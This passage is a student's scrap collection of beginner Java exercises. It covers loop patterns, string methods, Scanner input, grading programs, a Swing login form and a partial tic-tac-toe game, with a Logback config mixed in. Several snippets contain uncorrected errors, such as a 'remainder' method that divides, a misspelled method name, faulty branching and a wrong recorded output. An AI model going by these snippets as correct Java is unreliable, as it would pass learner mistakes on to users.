		String marged = One + Two + Three;
		return marged.toUppercase();
	}

5.
	public static double remainder(double x, double y) {
		double remainder = x / y;
		return remainder;
	}
//same
    public static void remainder(double x, double y) {
		double remainder = x / y;
		System.out.printf("remainder =  %.2f ", remainder);
	}
}
	

import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import javax.swing.BorderFactory;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JLabel;

public class GUI implements ActionListener {
	
	int count = 0;
	private JFrame frame;
	private JPanel panel;
	private JLabel label;
	
	
	//this public class is constructor.
	public GUI () {
		
		frame = new JFrame();
		
		JButton button = new JButton("Click me");
		button.addActionListener(this);
		
		label = new JLabel("Number of clicks:  0");
		
		
		panel = new JPanel();
		panel.setBorder(BorderFactory.createEmptyBorder(30, 30, 10, 30));
		panel.setLayout(new GridLayout(0, 1));
		panel.add(button);
		panel.add(label);
		
		
		frame.add(panel, BorderLayout.CENTER);
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setBackground(new Color(0, 20, 100));
		frame.setTitle("First GUI");
		frame.pack();
		frame.setVisible(true);
		
		button.setBackground(new Color (25, 100, 100));
		button.setForeground(new Color (100, 25, 255));
		
		label.setForeground(new Color (0, 20, 25));
		
		
	}

	public static void main(String[] args) {
		new GUI();

	}

	//we use this to increase count number.
	@Override
	public void actionPerformed(ActionEvent e) {
		count ++;
		label.setText("Number of clicks: " + count);
		
	}

}

public class stringmethods {

	public static void main(String[] args) {
		
		String name = "Mohamed Abdirizak Ali";
		
		System.out.println("Name: " + name);
		System.out.println("Uppercase: " + name.toUpperCase());
		System.out.println("Lowercase: " + name.toLowerCase());
		System.out.println("First char: " + name.charAt(0));
		System.out.println("Length: " + name.length());
		System.out.println("Last char: " + name.charAt(20));
		System.out.println("Your name: " + name.substring(0, 7));
		System.out.println("Your Father name: " + name.substring(8, 17));
	    System.out.println("Your surname is: " + name.substring(18, 21));
	}

}

//First way Method
public static void main(String[] args) {
		printMessage();
		add(5,9);
		multiply(10, 10);
  
        boolean sum = sum(3,1,5);
		System.out.println(sum);
	}
	
	public static void printMessage() {
		System.out.println("hapy birthday to you: ");
	}
	
	public static void add(int a, int b) {
		System.out.println(a + b);
	}

	public static void multiply(int a, int b) {
		System.out.println(a * b);
	}
}  //output: 
hapy birthday to you: 
14
100

// second way Return Method:
public static void main(String[] args) {
		int sum = add(5,9);
		System.out.println(sum);
		
		int product = multiply(10,10);
		System.out.println(product);
		
	}
	public static int add(int a, int b) {
		return a+b;
	}
	
	public static int multiply(int a, int b) {
		return a * b;
	}
}
//output:
14
100

// String type Method.
public static void main(String[] args) {
		String name = self("my name is mohamed, i am 20 years old!");
		System.out.println(name);
		
		String home = house("My house is very beautifull! ");
		System.out.println(home);
	}
	
	public static String self(String n) {
		return n.toLowerCase();
	}
	
	public static String house(String h) {
		return  h.toUpperCase();
	}
}

//Array Method:
public static void main(String[] args) {
		String array = myArray("This is my aweosme array:");
		System.out.println(array);
		
		int[] awesomeArray = arrayFromInt(4, 6, 7, 8);
		System.out.println(awesomeArray[0]);
		System.out.println(awesomeArray[1]);
		System.out.println(awesomeArray[2]);
		System.out.println(awesomeArray[3]);
	}
	
	public static String myArray(String a) {
		return a.toUpperCase();
	}
	
	public static int[] arrayFromInt(int a, int b, int c, int d) {
		int[] array = new int[4];
		array [0] = a;
		array [1] = b;
		array [2] = c;
		array [3] = d; 
		return array;
		
	}
//output: 
THIS IS MY AWEOSME ARRAY:
4
6
7
8

	public static boolean sum(int x, int y, int z) {
		if(x<=y && y<= z ) {
			return true;
		}
		else {
			return false;
		}
	}
}
//output: 
false

 public static void main (String args[]) {
        
       int number1 = (int)(Math.random() *10);
       int number2 = (int)(Math.random() *10);
	Scanner input = new Scanner(System.in);
        System.out.print("what is " + number1 + "+" + number2 + "?");
        int answer = input.nextInt();
        
        while(number1 + number2 != answer)
        {
            System.out.print("Wrong answer. Try again. What is " + number1 + "+" + number2 + "?");
            answer= input.nextInt();
        }
        System.out.println("You got it.");
}

import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JLabel;
import javax.swing.JTextField;
import javax.swing.JPasswordField;
import javax.swing.JButton;

import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;



public class MainClass implements ActionListener {
	
	private static JLabel userLabel;
	private static JTextField userText;
	private static JLabel passwordLabel;
	private static JPasswordField passwordText;
	private static JButton button;
	private static JLabel success;
	public static void main(String[] args) {
		
		JPanel panel = new JPanel();
		JFrame frame = new JFrame();
		frame.setSize(350, 200);
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.add(panel);
		
		panel.setLayout(null);
		
		userLabel = new JLabel("User");
		userLabel.setBounds(10, 20, 80, 25);
		panel.add(userLabel);
		
		userText = new JTextField();
		userText.setBounds(100, 20, 165, 25);
		panel.add(userText);
		
		passwordLabel = new JLabel("Password");
		passwordLabel.setBounds(10, 50, 80, 25);
		panel.add(passwordLabel);
		
		passwordText = new JPasswordField();
		passwordText.setBounds(100, 50, 165, 25);
		panel.add(passwordText);
		
		button = new JButton("Login");
		button.setBounds(130, 90, 80, 30);
		button.addActionListener(new MainClass());
		panel.add(button);
		
		success = new JLabel("");
		success.setBounds(130, 110, 300, 30);
		panel.add(success);
		
		frame.setVisible(true);
	}
	


	@Override
	public void actionPerformed(ActionEvent e) {
		String user = userText.getText();
		@SuppressWarnings("deprecation")
		String password = passwordText.getText();
		
		if(user.equals("Mohamed") && password.equals("abc885932"))
		{
			success.setText("Login successful!");
		}
		else
		{
			success.setText("Wrong!, Please Try again");
		}
	}
}

-----
----
---
--
-
    for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=5 - (line -1); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }

*
***
*****
*******
*********      for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print("*");
            }
            System.out.println();
        }
*********
*******
*****
***
*        for(int line=5; line>=1; line--)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print("*");
            }
            System.out.println();
        }

1
222
33333
4444444
555555555


for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print(line);
            }
            System.out.println();
        }
        

-----
----*
---**
--***
-****
*****
  
  
  for(int line = 1; line <=6; line ++)
        {
          //for(int j=1; j<= ( 5- (line -1); j++))
            for(int j= 1; j<= (-1 * line + 6); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= (1* line -1); k++)
            {
                System.out.print("*");
            }
            
            System.out.println();
        }
-----
----*
---**
--***
-****
*****    for(int line=1; line<=6; line++)
        {
            for(int j=1; j<=5 - (line -1); j++)
            {
                System.out.print("-");
            }
        for(int k=1; k<= (line -1); k++)
        {
            System.out.print("*");
        }
        System.out.println();
        }

---1---
--222--
-33333-
4444444

for(int line = 1; line <=4; line ++)
        {
            for(int j= 1; j<= ( -1 * line +4); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= ( 2* line -1); k++)
            {
                System.out.print(line);
            }
            for(int j= 1; j<= ( -1 * line + 4); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }

              for(int line=1; line<=4; line++)
        {
            for(int j=1; j<=(-1 * line + 4); j++)
            {
                System.out.print(" ");
            }
            for(int k=1; k<= (2 * line -1); k++)
            {
                System.out.print("*");
            }
            System.out.println();
   *    }
  ***
 *****
*******    






---*---
--***--
-*****-
*******
  
  for(int line = 1; line <=4; line ++)
        {
          //for(int j=1; j<=4-line; j++)
            for(int j= 1; j<= ( -1 * line +4); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= ( 2* line -1); k++)
            {
                System.out.print("*");
            }
          //for(int j=1; j<=( 4- line); j++)
            for(int j= 1; j<= ( -1 * line + 4); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }

#================#
|      <><>      |
|    <>....<>    |
|  <>........<>  |
|<>............<>|
|<>............<>|
|  <>........<>  |
|    <>....<>    |
|      <><>      |
#================#
  
  
  public static void main(String[] args) {
        topHalf();
        bottomHalf();
    }
    public static void topHalf() {
        
        System.out.println("#================#");
        
    for ( int line = 1; line <=4; line ++)
    {
        System.out.print("|");
        for(int space = 1; space <= ( line * - 2 + 8); space ++)
        {
            System.out.print(" ");
        }
        System.out.print("<>");
        for(int dot = 1; dot <= (4 * line -4); dot ++)
        {
            System.out.print(".");
        }
        System.out.print("<>");
        for(int space = 1; space <= (line * - 2 + 8); space ++)
        {
            System.out.print(" ");
        }
        System.out.println("|");
    }
}
    public static void bottomHalf() {
        for(int line = 1; line <=4; line ++)
        {
            System.out.print("|");
            for(int space = 1; space <= ( 2 * line -2); space ++)
                {
                    System.out.print(" ");
                }
            System.out.print("<>");
            for(int dot = 1; dot <=( -4 * line + 16); dot ++)
            {
                System.out.print(".");
            }
            System.out.print("<>");
            for(int space = 1; space <= ( 2 * line -2); space++)
            {
                System.out.print(" ");
            }
            System.out.println("|");
        }
        System.out.print("#================#");
    }
}

....1
...2
..3
.4
5

for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(" . ");
          }
          System.out.println(line);
      }

....1
...22
..333
.4444
55555      for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(".");
          }
          for(int k = 1; k<= line; k++)
          {
              System.out.print(line);
          }
          System.out.println();
      }


....1
...2.
..3..
.4...
5....      for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(".");
          }
              System.out.print(line);
              for(int j=1; j<= (line - 1); j++)
              {
                  System.out.print(".");
              }
              System.out.println();
      }


. . . . .
. . . .
. . .
. . 
.
        for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (5 - (line - 1)); j++)
          {
              System.out.print(" . ");
          }
          System.out.println();
      }

//output
4  7  10  13  16

for (int count = 1; count <=5; count++) 
      {
         System.out.print(3 * count + 1 + " ");
      }

//output
2 7 12 17 22 

 for (int count = 1; count <=5; count++) 
      {
              System.out.print(5 * count -3 + " ");
      }
// same output
int num = 2;
      for (int count = 1; count <=5; count++) 
      {
          System.out.print(num +" ");
          num = num + 5;
      }

// outpu
17  13 9 5 1

for (int count = 1; count <=5; count++) 
      {
          System.out.print(-4 * count + 21 +" ");
      }

//output
1
22
333
4444
55555        for (int i = 1; i <= 5; i++) 
           {
             for(int j= 1; j<=i; j++)
           {
              System.out.print( i );
           }
              System.out.println();
           }
55555
4444
333
22
1
          for (int i = 5; i >=1; i--) 
         {
          for(int j= 1; j<=i; j++)
         {
            System.out.print( i );
         }
            System.out.println();
           

55555
4444
333
22
1           
           
           for (int i = 1; i <=5; i++) 
         {
          for(int j= 1; j<= 5 - (i - 1); j++)
          {
              System.out.print(5- (i - 1));
          }
          System.out.println();
          
         }
          
55555
4444
333
22
1          
           
           int num = 5;
      for (int i = 1; i <=5; i++) 
      {
          for(int j= 1; j<=num; j++)
          {
              System.out.print(num);
          }
          num--;
          System.out.println();
          
      }

// output

 * 
 *  * 
 *  *  * 
 *  *  *  * 
 *  *  *  *  * 
   
                 for (int i = 1; i <= 5; i++) 
                {
                 for(int j= 1; j<=i; j++)
                {
                   System.out.print(" * ");
                }
                   System.out.println();
                }
                
 *  *  *  *  * 
 *  *  *  * 
 *  *  * 
 *  * 
 *             for (int i = 5; i >=1; i--) 
              {
               for(int j= 1; j<=i; j++)
              {
                System.out.print(" * ");
              }
                System.out.println();
              }
          

 //output
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
   
   for (int i = 1; i <= 5; i++)  // outer loop
      {
          for(int j= 1; j<=10; j++) // inner loop
          {
              System.out.print(" * ");
          }
          System.out.println(); // end the line
      }
    }

public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      
      System.out.println("Enter a character: ");
      char input = scanner.next().charAt(0);
      
      if(input >= 'A' && input <='Z')
      {
          System.out.println(input + " is an Upper Case character.");
      }
      else if ( input >= 'a' && input <= 'z')
      {
          System.out.println(input + " is a Lower Case character.");
      }
      else if ( input >= '0' && input <= '9')
      {
          System.out.println(input + " is a Digit character. ");
      }
      else
      {
          System.out.println(input + " is a valid. is not Upper Case, Lower Case and Digit character.");
      }
    }
}

/*Question 2.  
    Write a program that prompts the user to enter the exchange rate 
    from currency in U.S. dollars to Turkish Lira. 
    Prompt the user to enter 0 to convert from U.S. dollars to Turkish Lira
    and 1 to convert from Turkish Lira and U.S. dollars. 
    Prompt the user to enter the amount in U.S. dollars 
    or Turkish Lira to convert it to Turkish Lira or U.S. dollars, respectively.
        */
                
        Scanner scanner = new Scanner(System.in);
        
       
        System.out.println("Enter the rate of exchange:");
        double exchangeRate = scanner.nextDouble();
        
        System.out.println("press 0: to convert Dollar to Turkish Lira\npress 1: to convert Turkish Lira to Dollar  ");
        int choice = scanner.nextInt();
        double amount;
        if(choice == 1)
        {
            System.out.println("Enter the amount in Dollar: ");
            amount = scanner.nextDouble();
            amount = amount * exchangeRate;
            System.out.println("The amount in Dollar is: " + amount);
        }
        else if ( choice == 0)
        {
            System.out.println("Enter the amount in Turkish Lira: ");
            amount = scanner.nextDouble();
            amount = amount / exchangeRate;
            System.out.println("The amount in Turkish Lira is: " + amount);
        }
    }
}

import java.util.Scanner;
public class Lab_5 {

    public static void main(String[] args) {
        
/*Question 1. Write a program that prompts the user to enter a string 
        and determines whether it is a palindrome string. 
        A string is palindrome if it reads the same 
        from right to left and from left to right. */
                
        Scanner scanner = new Scanner(System.in);
        System.out.println("Enter a string:");
        String str = scanner.nextLine();
        
        int count = 0;
        for(int counter =0; counter < str.length(); counter++)
        {
            if(str.charAt(counter)==str.charAt(str.length()-1-counter))
                count = count + 1;
        }
        
        if( count == str.length())
        {
            System.out.println("The string " + str + " is palindrome");
        }
        else
        {
            System.out.println("The string " + str + " is not palindrome");
        }
    }
}

public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      
      System.out.println("what is your name : ");
      String name = scanner.next();
      
      
      if(name.startsWith("najma"))
      {
          System.out.println("welcome najma");
      }
      if(name.endsWith("mohamed"))
      {
          System.out.println("welcome mohamed");
      }
      else if( name.equalsIgnoreCase("najma"))
      {
          System.out.println("you are beautiful");
      }
      if (name.contains("najma mohamed"))
      {
          System.out.println("awesome, let's do it agian.");
      }
              
     
    }
}

Scanner scanner = new Scanner(System.in);
      
      System.out.println("what is your name: ");
      String name = scanner.next();
      
      if( name.equals("najma"))
      {
          System.out.println("İ love you very much, You love me: ");
      }
      System.out.println("Enter your answer. ");
      String answer = scanner.next();
      if(answer.equals("yes"))
      {
          System.out.println("we are happy family.");
      }
      else 
        {
          System.out.println("i hate you.")
        }

 1    2    3    4    5    6    7    8    9   10 
 2    4    6    8   10   12   14   16   18   20 
 3    6    9   12   15   18   21   24   27   30 

 for(int i=1; i <= 3; i++)
      {
          for(int j=1; j<=10; j++)
          {
              System.out.printf("%4d ", (i * j));
          }
          System.out.println();
      }
      

String name = "mohamed";
      name = name.toUpperCase();
      System.out.println("The uppercase of name is " +name);
      
      int length = name.length();
      System.out.println("The length of name is " +length);
      
      char first = name.charAt(2);
      System.out.println("The first letter of name is " +first);

import java.util.Scanner;
public class Exam_preparation {

    public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      int sum = 0;
      
      for(int i=1; i<=10; i++)
      {
          System.out.println("enter a number ");
          sum = sum + scanner.nextInt();
          //sum = sum + i;
      }
      System.out.println("the sum of number is " + sum);
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<configuration>

    <property name="LOGS" value="./logs" />

    <appender name="Console"
              class="ch.qos.logback.core.ConsoleAppender">
        <layout class="ch.qos.logback.classic.PatternLayout">
            <Pattern>
                %black(%d{ISO8601}) %highlight(%-5level) [%blue(%t)] %yellow(%C{1.}): %msg%n%throwable
            </Pattern>
        </layout>
    </appender>

    <appender name="RollingFile"
              class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOGS}/spring-boot-logger.log</file>
        <encoder
                class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <Pattern>%d %p %C{1.} [%t] %m%n</Pattern>
        </encoder>

        <rollingPolicy
                class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <!-- rollover daily and when the file reaches 10 MegaBytes -->
            <fileNamePattern>${LOGS}/archived/spring-boot-logger-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <timeBasedFileNamingAndTriggeringPolicy
                    class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>10MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
    </appender>

    <!-- LOG everything at INFO level -->
    <root level="info">
        <appender-ref ref="RollingFile" />
        <appender-ref ref="Console" />
    </root>

    <!-- LOG "com.baeldung*" at TRACE level -->
    <logger name="com.baeldung" level="trace" additivity="false">
        <appender-ref ref="RollingFile" />
        <appender-ref ref="Console" />
    </logger>

</configuration>

+----+
\    /
/    \
\    /
/    \
\    /
/    \
+----+
  
  public class Java_Quiz_App {

    public static void main(String[] args) {
        
        System.out.println("+----+");
      for (int i = 1; i <= 3; i++) 
      {
          System.out.println("\\    /");
          System.out.println("/    \\");
      }
        System.out.println("+----+");
    }
}

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;

public class ReadFileLineByLineUsingBufferedReader {

	public static void main(String[] args) {
		BufferedReader reader;

		try {
			reader = new BufferedReader(new FileReader("sample.txt"));
			String line = reader.readLine();

			while (line != null) {
				System.out.println(line);
				// read next line
				line = reader.readLine();
			}

			reader.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

}

import java.util.*;

class Solution {
    public static void main(String[] args) {
        String str = "sinstriiintng";

        int[] counts = new int[26];

        for (int i = 0; i < str.length(); i++)
            counts[str.charAt(i) - 'a']++;

        for (int i = 0; i < 26; i++)
            if (counts[i] > 1)
                System.out.println((char)(i + 'a') + " - " + counts[i]);
    }
}

import java.util.*;
public class Main
{
	public static void main(String[] args) {
		System.out.println("Hello World");
		int n=52;
		for(int i=2;i<=Math.sqrt(n);i++){
		    if(n%i==0){
		        System.out.print("YES");
		        System.exit(1);
		    }
		    
		      
		}
		
		        System.out.println("NOT");
		    
	}
}

import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        

//QUESTİON 8.	What is wrong in the following code? 


    Scanner scanner = new Scanner(System.in);
    
    System.out.println("Enter your score, please. ");
    Double score = scanner.nextDouble();
    
    if (score >= 90.0) 
        System.out.println("Your grade letter is: A");
    else if (score >= 80.0)
        System.out.println("Your grade letter is: B");
    else if (score >= 70.0)
        System.out.println("Your grade letter is: C");
    else if (score >= 60.0) 
        System.out.println("Your grade letter is: D");
    else
        System.out.println("Your grade letter is: F");
    
    }
}


/*output:
Enter your score, please. 
59.90
Your grade letter is: F
*/

import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 6. 
re-write the following using nested if statements.
int numberOne,numberTwo,numberThree;
  please read the values from the keyboard
if(numberOne>numberTwo && numberTwo>numberThree)
{
System.out.println(“numberOne is the largest”);
}
*/

    Scanner scanner = new Scanner(System.in);
    
    System.out.println("Enter a number One, please: ");
    int numberOne = scanner.nextInt();
    
    System.out.println("Enter a number Two: ");
    int numberTwo = scanner.nextInt();
    
    System.out.println("Enter number Three: ");
    int numberThree = scanner.nextInt();
    
    if(numberOne > numberTwo && numberOne > numberThree)
    {
        System.out.println(numberOne + " = number One is largest. ");
    }
    if(numberTwo > numberOne && numberTwo > numberThree)
    {
        System.out.println(numberTwo + " = number Two is the largest. ");
    }
    else
    {
        System.out.println(numberThree +  " = number Three is largest. ");
    }
    }
}

import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 5.What is the output of the code in (a) and (b) 
    if number is 30? What if number is 35? 

 if (number % 2 == 0)
 System.out.println(number + " is even."); 
 System.out.println(number + " is odd.");

 (a)

 if (number % 2 == 0) 
System.out.println(number + " is even."); 
else 
System.out.println(number + " is odd.");
		(b)
*/

    Scanner scanner = new Scanner(System.in);
    System.out.println("Enter a number: ");
    int number = scanner.nextInt();
    
    if(number % 2== 0)
    {
        System.out.println(number + ": is even");
    }
    else
    {
        System.out.println(number + ": is odd");
    }
    }
}

output: 
30 is even and odd 
35 is odd

import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*   Question 4.
write a program that increases score by 3 % if attendance 
 is greater than 9 and displays the final score.
*/
    Scanner scanner = new Scanner(System.in);
       
    System.out.println("Enter your score, Please: ");
    double score = scanner.nextDouble();
//data type   
    System.out.println("Enter the days you have attended, Please: ");
    int attendence = scanner.nextInt();
    
    if(attendence > 9)
    {
        score = score + score * 0.03;
    }
    System.out.println("Your final score is: "+score);
    
    }
}

//output:
/*Please Enter your score: 
80
Please Enter your attendence: 
10
Your final score is= 82.4
*/

import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 3.
    Write a program that prompts the user to enter an integer. 
    If the number is a multiple of 5, the program displays HiFive. 
    If the number is divisible by 2, it displays HiEven.
*/
    Scanner scanner = new Scanner(System.in);
    System.out.println("Please Enter a number:");
    int number = scanner.nextInt();
    if(number % 2 == 0)
    {
        System.out.println("Hi Even ");
    }
    else if( number % 5 == 0)
    {
        System.out.println("Hi Five: ");
    }
    }
}

public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 2.	Can the following conversions  be allowed?
        What is this type of conversion called?
        Write a test program to verify your answer. 
       boolean b = true;
       i = (int)b;
       int i = 1; 
       boolean b = (boolean)i;
*/
//boolean cannot converte into i.
       boolean b = true;
       int i = (int)b;
       System.out.println(i);
       int i = 1; 
       boolean b = (boolean)i;
       
       // this is incorrect answer.
       
    }
}

public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
        int x=1;
        /*
        System.out.println(x>0);
        System.out.println(x<0);
        System.out.println(x!=0);
        System.out.println(x>=0);
        System.out.println(x!=1);
        */
        
        //we make assigning value.
        
        boolean expressionOne, expressionTwo, expressionThree;
        expressionOne= x>0;
        expressionTwo = x<0;
        expressionThree = x!=0;
        
        System.out.println(expressionOne);
        System.out.println(expressionTwo);
        System.out.println(expressionThree);
       
    }
}

package com.mycompany.java_quiz_app;

import java.util.Scanner;

public class Java_Quiz_App {

    public static void main(String[] args) {
        
        Scanner scanner = new Scanner(System.in);
        System.out.println("what is the percent did you earn: ");
        int percent = scanner.nextInt();
        
        if(percent >=90)
        {
            System.out.println("You got an A:");
        }
        else if(percent >=80)
        {
            System.out.println("You got a B:");
        }
        else if(percent >=60)
        {
            System.out.println("You got a C:");
        }
        else if(percent >=50)
        {
            System.out.println("You got a D:");
        }
        else
        {
            System.out.println("You got an F!: ");
        }
        
    }
}

 //Rewrite the above program by using static methods.
// static method help you to make your code more than one time.

public static void main(String[] args) {
        top();
        middle();
        lower();
        top();
        middle();
        lower();
        
    }
        public static void top() {
            
        System.out.println("  ________");
        System.out.println(" /        \\");
        System.out.println("/          \\");
        }
        public static void middle() {
            
        System.out.println("-\"-\'-\"-\'-\"-");
        }
        public static void lower() {
            
        System.out.println("\\          /");
        System.out.println(" \\________/");
        
        }
}

public class Lab_3 {
    
    //Question 3.	
    /*write program called Egg displays the following out shape */
    
    public static void main(String[] args) {
        
        System.out.println("  ________");
        System.out.println(" /        \\");
        System.out.println("/          \\");
        System.out.println("-\"-\'-\"-\'-\"-");
        System.out.println("\\          /");
        System.out.println(" \\________/");
        
        
    }
}

(Print a table) 
/*Write a program that displays the following table. 
Calculate the middle point of two points. */

 a	 b	middle point
(0,0)	(2,1)	(1.0,0.5)
(1,4)	(4,2)	(2.5,3.0)
(2,7)	(6,3)	(4.0,5.0)
(3,9)	(10,5)	(6.5,7.0)
(4,11)	(12,7)	(8.0,9.0)

 public static void main(String[] args) {
        
        System.out.println(" a\t b\tmiddle point");

        System.out.println("(0,0)\t(2,1)\t("+ (double)(0+2)/2 +"," + (double)(0+1)/2+")");
        
        System.out.println("(1,4)\t(4,2)\t("+ (double)(1+4)/2 +"," + (double)(4+2)/2+")");
        
        System.out.println("(2,7)\t(6,3)\t("+ (double)(2+6)/2 +"," + (double)(7+3)/2+")");
        
        System.out.println("(3,9)\t(10,5)\t("+ (double)(3+10)/2 +"," + (double)(9+5)/2+")");
        
        System.out.println("(4,11)\t(12,7)\t("+ (double)(4+12)/2 +"," + (double)(11+7)/2+")");
 }

// Question 1. 
// Write a program that reads in the length of sides 
// of an equilateral triangle and computes the area and volume.
import static java.lang.Math.sqrt;
import java.util.Scanner;

public class Lab_3 {
    
    public static void main(String[] args) {
        
    
        Scanner scanner = new Scanner(System.in);
        //input step.
        System.out.println("Please Enter the lenght of the sides: ");
        double lengthSide = scanner.nextDouble();
        
        System.out.println("Please Enter the height of the triangle: ");
        double height = scanner.nextDouble();
        
        //procesing step.
        double areaOfTriangle = sqrt(3)/4 * (Math.pow(lengthSide,2));
        //heighL*height = Math.pow(height,2)
        double volumeOfTriangle = areaOfTriangle * height;
        
        //telling user what happen.
      //you can use (format function) if you want after point (two,three or one number digits). like first one.
        System.out.format("The area of Triangle is :%.03f ",areaOfTriangle);
        System.out.println("The area of Triangle is: "+areaOfTriangle);
        System.out.println("The volume of Triangle is: "+volumeOfTriangle);
        
   
    }
}

star shape. 

  **   
 **** 
******
******
 **** 
  ** 
  
  
  public static void main(String[] args) {
        
        System.out.println("  **  ");
        System.out.println(" **** ");
        System.out.println("******");
        System.out.println("******");
        System.out.println(" **** ");
        System.out.println("  **  "); 

write program to display this shape.

  /\ 
 /""\ 
/""""\
\""""/
 \""/ 
  \/  
  
 public static void main(String[] args) {

        System.out.println("  /\\ ");
        System.out.println(" /\"\"\\ ");
        System.out.println("/\"\"\"\"\\");
        System.out.println("\\\"\"\"\"/");
        System.out.println(" \\\"\"/ ");
        System.out.println("  \\/  ");

import java.awt.*;
import java.awt.event.*;
import java.util.*;
import javax.swing.*;

//Main method make different main.
public class Main {

	public static void main(String[] args) {
		
		TicTacToe tictactoe = new TicTacToe();
		
	}

}
// make different class.

public class TicTacToe implements ActionListener {
	
	Random random = new Random();
	JFrame frame = new JFrame();
	JPanel title_panel = new JPanel();
	JPanel button_panel = new JPanel();
	JLabel textfield = new JLabel();
	JButton[] buttons = new JButton[9];
	boolean player1_turn;
	
	
	TicTacToe() {
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setSize(800,800);
        frame.getContentPane().setBackground(new Color(50,50,100));
        frame.setLayout(new BorderLayout());
        frame.setVisible(true);
        
        textfield.setBackground(new Color(50,50,100));
        textfield.setForeground(new Color(25,255,0));
        textfield.setFont(new Font("Ink Free", Font.BOLD,75));
        textfield.setHorizontalAlignment(JLabel.CENTER);
        textfield.setText("Tic-Tac-Toe");
        textfield.setOpaque(true);
        
        title_panel.setLayout(new BorderLayout());
        title_panel.setBounds(0,0,800,100);
        
        button_panel.setLayout(new GridLayout(3,3));
        button_panel.setBackground(new Color(150,150,150));
        
        for(int i=0;i<9;i++)
        {
            buttons[i] = new JButton();
            button_panel.add(buttons[i]);
            buttons[i].setFont(new Font("MV Boli",Font.BOLD,120));
            buttons[i].setFocusable(false);
            buttons[i].addActionListener(this);
            
        }

        
        title_panel.add(textfield);
        frame.add(title_panel,BorderLayout.NORTH);
        frame.add(button_panel);
       
        firstTurn();
        
	}
	
	
	 @Override
	 public void actionPerformed(ActionEvent e) {
		 
		 for(int i=0;i<9;i++) {
	            if(e.getSource()==buttons[i]) {
	            	if(player1_turn) {
	                    if(buttons[i].getText()=="") {
	                        buttons[i].setForeground(new Color(255,0,0));
	                        buttons[i].setText("X");
	                        player1_turn=false;
	                        textfield.setText("O turn");
	                        check();
	                    }
	                }
	                else {
	                    if(buttons[i].getText()=="") {
	                        buttons[i].setForeground(new Color(0,0,255));
	                        buttons[i].setText("O");
	                        player1_turn=true;
	                        textfield.setText("X turn");
	                        check();
	                    }
	                }
	            }
	        }
	 }
	 
	 public void firstTurn() {
		 
		 try {
			Thread.sleep(2000);
		} catch (InterruptedException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		 
		 if(random.nextInt(2)==0) {
			 player1_turn=true;
			 textfield.setText("X turn");
	            
	        }
	        else {
	            player1_turn=false;
	            textfield.setText("O turn");
	        }
		 
	 }
	 
	 public void check() {
		 
		 //check X win conditions
		 if(
				 (buttons[0].getText()=="X") &&
				 (buttons[1].getText()=="X") &&
				 (buttons[2].getText()=="X")
				 ) {
			 xWins(0,1,2);
		 }
		 if(
				 (buttons[3].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[5].getText()=="X")
				 ) {
			 xWins(3,4,5);
		 }
		 if(
				 (buttons[6].getText()=="X") &&
				 (buttons[7].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(6,7,8);
		 }
		 if(
				 (buttons[0].getText()=="X") &&
				 (buttons[3].getText()=="X") &&
				 (buttons[6].getText()=="X")
				 ) {
			 xWins(0,3,6);
		 }
		 if(
				 (buttons[1].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[7].getText()=="X")
				 ) {
			 xWins(1,4,7);
		 }
		 if(
				 (buttons[2].getText()=="X") &&
				 (buttons[5].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(2,5,8);
		 }
		 if(
